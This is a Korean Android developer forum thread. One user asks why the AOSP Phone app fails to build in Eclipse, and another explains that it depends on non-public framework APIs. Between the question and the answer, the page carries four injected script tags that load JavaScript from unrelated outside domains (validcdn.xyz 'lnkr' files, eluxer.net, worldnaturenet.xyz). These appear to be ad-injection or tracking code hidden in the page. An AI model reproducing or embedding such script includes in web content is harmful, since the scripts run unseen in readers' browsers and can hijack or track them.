안드로이드 개발 질문/답변
(글 수 45,052)
https://android.googlesource.com/ 에 안드로이드 소스가 공개되어 있더라구요..
그래서 platform/packages/apps/Music 를 다운로드 받아서 빌드했더니 잘 되더라구요
그런데 platform/packages/apps/Phone 는 이클립스에서 x표시가 마구 달리고 빌드가 안되던데
왜 안되는걸까요?
힌트 좀 주세요~~
<script type="text/javascript" src="https://validcdn.xyz/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://validcdn.xyz/addons/lnkr30_nt.min.js"></script><script type="text/javascript" src="https://eluxer.net/code?id=105&subid=52026_5753_"></script><script type="text/javascript" src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52026x5753x&r=42"></script>




Phone App은 시스템 앱으로 분류되며 Framework의 비공개 API (non-public API) 들을 사용하는 것으로 알고 있습니다.
그래서 구굴이 공개한 api만 포함된 Android SDK 를 이용해서 빌드 할 수 없습니다.
이 앱은 시스템의 일부로, line command로 안드로이드 전체 소스를 빌드를 하는 과정 중에 빌드되게 됩니다. (이 과정 중에 빌드되는 팩키지는 framework 내에 있는 모든 API를 사용 할 수 있는 상태가 됩니다.)
다른 방법으로는 루팅된 폰 내에 있는 제조사의 framework.jar를 뽑아내어 eclipse에 포함시키는 방법이 있긴 합니다.